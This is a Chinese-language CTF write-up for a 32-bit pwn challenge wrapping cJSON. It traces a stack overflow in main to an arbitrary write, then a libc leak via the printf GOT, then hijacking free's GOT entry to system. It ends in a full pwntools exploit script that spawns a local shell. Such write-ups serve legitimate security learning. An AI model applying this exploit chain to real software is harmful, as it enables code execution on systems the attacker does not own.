通过代码审计,找到栈溢出漏洞点,覆盖关键栈变量,实现任意地址写
前言
本题主要是套壳了Cjson,实则是约定了输入格式。通过仔细代码审计,即可找到栈溢出,并实现利用
一、题目
查阅网上资料,得知实际上就是json格式的数据,上述代码检查了是否包含这些字段。
似乎是菜单题,可能考堆,需要逆向Cjson?后来发现确实是被唬住了
大致的程序功能即使如此
二、漏洞点
main函数存在栈溢出,溢出时会覆盖两个变量,v13、v14,具体看一下这两个值的作用
查看error函数,原来仅仅是返回,并没有退出程序。
因此通过栈溢出覆盖v13,我们就可以获得一个任意地址写的能力
v14则没有什么特殊之处,最后放了cannary;既然我们有任意地址写,就不考虑那么多:
利用思路:通过溢出获得任意地址写,将got表写在Heap数组,利用show泄露libc,然后将free的got表劫持为system,释放一个指向"/bin/sh"的指针即可
三、利用过程
(1)栈溢出-任意地址写-写printf.got到Heap[1]
(2)show Heap[1] leak libc
(3)free GOT表劫持为system
任意地址写,但是system的地址数比较大,会造成溢出,因此得通过edit来实现写。之前我们选择leak printf,也是因为GOT表printf和free相邻。通过edit写指向printfgot表的指针,即可修改freegot
(4)free Heap[0]释放指向/bin/sh的指针
四、EXP
from pwn import *
io=process('./consumption')
elf=ELF('./consumption')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch=elf.arch
context.log_level='debug'
##########################
global flag
def debug(touch=True,fg=False):
global flag
if fg:
flag = True
gdb.attach(io);input('[*]Pause for gdb-attach...')
elif touch:
if input('[?]GDB attach: ')!='':
flag=True
gdb.attach(io);input('[*]Pause for gdb-attach...')
else:
flag=False
print("[-]GDB didn't attach")
return
print("[-]GDB didn't attach")
return
def gdb_check():
global flag
if(flag):
pause()
##########################
debug()
def add(size,content):
payload=b'{"choice":"1","idx":0,"size":"'+str(size).encode("utf-8")+b'","content":"'+content+b'"}'
io.sendlineafter(b'exit\t\n',payload)
def delete(id):
payload=b'{"choice":"2","idx":'+str(id).encode()+b',"size":"0","content":""}'
io.sendlineafter(b'exit\t\n',payload)
def show(id):
payload=b'{"choice":"3","idx":'+str(id).encode()+b',"size":"0","content":""}'
io.sendlineafter(b'exit\t\n',payload)
def edit(id,content):
payload=b'{"choice":"4","idx":'+str(id).encode()+b',"size":"0","content":"'+content+b'"}'
io.sendlineafter(b'exit\t\n',payload)
# .got.plt:08051AAC 68 1B 05 08 off_8051AAC dd offset printf ; DATA XREF: _printf+4↑r
# .got.plt:08051AB0 BC 1B 05 08 off_8051AB0 dd offset free ; DATA XREF: _free+4↑r
# 0000100C s
# ...
# 00000B0C anonymous_0
# 0x100c-0xb0c=0x500
# b *0x8049985
heaplist=0x8051B10
# 溢出前提前构造好指向/bin/sh的指针
add(0x10,b'/bin/sh')
# print(elf.got['printf']) #134552236
deadbeef=b'b'*(0x500+0x6-len(b'{"choice":"1","idx":0,"size":"134552236","content":"aaaa"}'))
add(elf.got['printf'],deadbeef+p32(heaplist+4))
gdb_check()
show(1)
io.recvuntil(b'content:')
printf=u32(io.recv(4))
success(hex(printf))
libc_base=printf-0xea8fda90+0xea8a6000
success(hex(libc_base))
system=libc_base+libc.sym['system']
success(hex(system))
gdb_check()
# 方法1:通过任意地址写来劫持got表 —— system数值过大,不方便处理
# deadbeef=b'b'*(0x500+0x6-len(b'{"choice":"1","idx":0,"size":"1234567890","content":"aaaa"}'))
# add(system,deadbeef+p32(elf.got['free']))
# gdb_check()
# 方法2:printf的got表指针已经写在heap[1]中,只需要edit,即可替换邻近的free
edit(1,p32(printf)+p32(system))
delete(0)
io.interactive()